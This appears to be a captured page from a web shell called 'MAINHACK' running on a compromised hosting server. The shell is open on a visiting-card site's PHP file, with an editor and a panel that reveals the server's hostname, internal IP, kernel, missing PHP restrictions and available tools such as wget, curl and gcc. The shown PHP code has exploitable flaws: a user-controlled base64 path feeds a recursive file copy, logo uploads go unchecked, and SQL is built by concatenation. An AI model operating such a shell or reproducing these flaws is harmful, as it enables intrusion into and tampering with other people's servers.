[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: company-details.php
<?php include('header.php');?> <?php include 'userprofile.php';?> <!-- USER --> <div class="inner-banner"> <img src="images/inner-banner.jpg" alt="banner"> </div> <script> $(document).ready(function(){ $('#domain').keyup(function(){ var str = this.value.replace(/(\w)[\s,]+(\w?)/g, '$1$2'); if (str!=this.value) this.value = str; }); }); $(document).ready(function(){ $('#domain').blur(function(){ var domain=$('#domain').val(); $.ajax({ type:"POST", url:"ajax_check.php", data:$('#form').serialize(), success: function (response){ if(response>0){ $('#error1').show(); $('#domain').val(''); document.getElementById("btn").disabled = true; }else{ $('#error1').hide(); document.getElementById("btn").disabled = false; } } }); }); }); </script> <!-- Company Details --> <div class="company-details"> <div class="container"> <h1>Company Details</h1> <br> <div class="theme-box aos-init aos-animate" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <div class="theme-link"> <a href="#" class="">Select Theme</a> <a href="#" class="active">Company Details</a> <a href="#" class="">Social Links</a> <a href="#" class="">Payment Options</a> <a href="#" class="">Product & Services</a> <a href="#" class="">Image Gallery</a> </div> <form method="post" id="form" action="" enctype="multipart/form-data"> <input type="hidden" name="tablename" value="visit_card"> <div class="form-left-to-w3l " id="b_name"> <label>Company Logo <sub>300KB max size</sub></label> <input type="file" id="myFile" name="logo"> </div> <div class="form-left-to-w3l " id="b_name"> <label>Visiting card name </label> <input type="text" placeholder="Visiting card Name Without Space*" name="directory_name" id="domain" required=""> <small class="text-warning" id="error1" style="display:none">Sorry!Website name already in use.Please Give another Name</small> </div> <div class="form-left-to-w3l " id="b_name"> <label>Google Direction</label> <textarea placeholder="Google Direction link" name="google_link"></textarea> </div> <h2>Personal Details</h2> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder="Full Name" name="contact_person1" id="" required=""> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder=" Designation (Eg. C.E.O)/Brand Name/Company Name" name="designation" id="" required=""> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder="Phone no" name="phone1" id="" required=""> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder="Alternate Phone no" name="phone2" id=""> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder="Whatsapp no" name="watsapp" id=""> </div> <div class="form-left-to-w3l " id="b_name"> <textarea placeholder=" Full Address" name="address"></textarea> </div> <div class="form-left-to-w3l " id="b_name"> <input type="email" placeholder=" Email" name="email" id="em" required=""> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder="Website" name="company_website" id=""> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder="Business Location" name="location" id="" required=""> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" placeholder="Enter Company Est Date" name="business_date" id=""> </div> <div class="form-left-to-w3l " id="b_name"> <textarea placeholder="Tell Us About your Company/Business" name="about"></textarea> </div> <div class="form-sub-acc"> <div class="form-sub"> <input type="submit" class="" name="sub" id="sub" value="Submit"> </div> </div> </form> <?php //echo $_SESSION['login_id']; if(isset($_POST['sub'])){ include 'phpqrcode/qrlib.php'; $uid=$show->getid('ids','pro'); $table='visit_card'; // $com=explode(' ',$_POST['company_name']); // $username=$com[0].rand(10,1000)."_".$uid; $username=htmlentities(strip_tags($_POST['directory_name']))."_".$uid; // $destination_dir = "../".$username; $destination_dir ="cards/".$username; if(is_dir($destination_dir)==false){ mkdir("$destination_dir", 0755); // Create directory if it does not exist } function recursive_files_copy($source_dir, $destination_dir) { // Open the source folder / directory $dir = opendir($source_dir); // Create a destination folder / directory if not exist @mkdir($destination_dir); // Loop through the files in source directory while($file = readdir($dir)) { // Skip . and .. if(($file != '.') && ($file != '..')) { // Check if it's folder / directory or file if(is_dir($source_dir.'/'.$file)) { // Recursively calling this function for sub directory recursive_files_copy($source_dir.'/'.$file, $destination_dir.'/'.$file); } else { // Copying the files copy($source_dir.'/'.$file, $destination_dir.'/'.$file); } } } closedir($dir); } //$source_dir = $_POST['theme']; echo $source_dir; $source_dir =base64_decode($_REQUEST['theme']); recursive_files_copy($source_dir, $destination_dir); $text=$link_url."/cards/".$username; $path = "cards/documents/"; $file = $path.uniqid().".png"; // $ecc stores error correction capability('L') $ecc = 'L'; $pixel_Size = 10; $frame_Size = 10; // Generates QR Code and Stores it in directory given QRcode::png($text, $file, $ecc, $pixel_Size, $frame_size); // Displaying the stored QR code from directory //echo "<center><img src='".$file."'></center>"; $cm=base64_decode($_REQUEST['cm']); $data=array( 'client_id'=>$_SESSION['login_id'], 'card_id'=>$uid, 'company_name'=>$cm, 'company_website'=>htmlentities(strip_tags($_POST['company_website'])), 'email'=>htmlentities(strip_tags($_POST['email'])), 'contact_person1'=>htmlentities(strip_tags($_POST['contact_person1'])), 'phone1'=>htmlentities(strip_tags($_POST['phone1'])), 'phone2'=>htmlentities(strip_tags($_POST['phone2'])), 'address'=>htmlentities(strip_tags($_POST['address'])), 'created_at'=>date('Y-m-d'), 'updated_by'=>'SELF', 'location'=>htmlentities(strip_tags($_POST['location'])), 'watsapp'=>htmlentities(strip_tags($_POST['watsapp'])), 'business_date'=>htmlentities(strip_tags($_POST['business_date'])), 'about'=>htmlentities(strip_tags($_POST['about'])), 'designation'=>htmlentities(strip_tags($_POST['designation'])), 'google_link'=>htmlentities(strip_tags($_POST['google_link'])), 'directory_name'=>$username, 'payment_status'=>'PENDING', 'date_of_expiry'=>date('Y-m-d',strtotime('+15 days')), 'status'=>'ACTIVE', 'qr_code'=>$file ); // print_r($data); $r=$show->insert($table,$data); /*if(isset($_FILES['aadhar']['name'])) { $img=$show->imageEdit($_FILES['aadhar']['name']); if(move_uploaded_file($_FILES['aadhar']['tmp_name'],"../documents/".$img)){ $sq="update client set aadhar='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r1=$stmt->execute(); } } if(isset($_FILES['pan']['name'])) { $img=$show->imageEdit($_FILES['pan']['name']); if(move_uploaded_file($_FILES['pan']['tmp_name'],"../documents/".$img)){ $sq="update client set pan='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r2=$stmt->execute(); } } if(isset($_FILES['trade']['name'])) { $img=$show->imageEdit($_FILES['trade']['name']); if(move_uploaded_file($_FILES['trade']['tmp_name'],"../documents/".$img)){ //unlink($path); $sq="update client set trade='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r3=$stmt->execute(); } } if(isset($_FILES['bank']['name'])) { $img=$show->imageEdit($_FILES['bank']['name']); if(move_uploaded_file($_FILES['bank']['tmp_name'],"../documents/".$img)){ // unlink($path); $sq="update client set bank='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r4=$stmt->execute(); } } */ if(isset($_FILES['logo']['name'])) { $img=$show->imageEdit($_FILES['logo']['name']); if(move_uploaded_file($_FILES['logo']['tmp_name'],"cards/documents/".$img)){ $sq="update $table set logo='".$img."' where card_id='".$uid."'"; //echo $sq; $stmt=$con->prepare($sq); $r5=$stmt->execute(); } } if($r){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: " new domain has been created . Please continue to write all the details to make your card", type: "success" }, function() { window.location = "social-links.php?cid='.base64_encode($uid).'"; }); }, 1000); </script>'; }else{ echo "<script>sweetAlert('Oops!','Sorry Something went wrong,try again','error');</script>"; } } ?> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619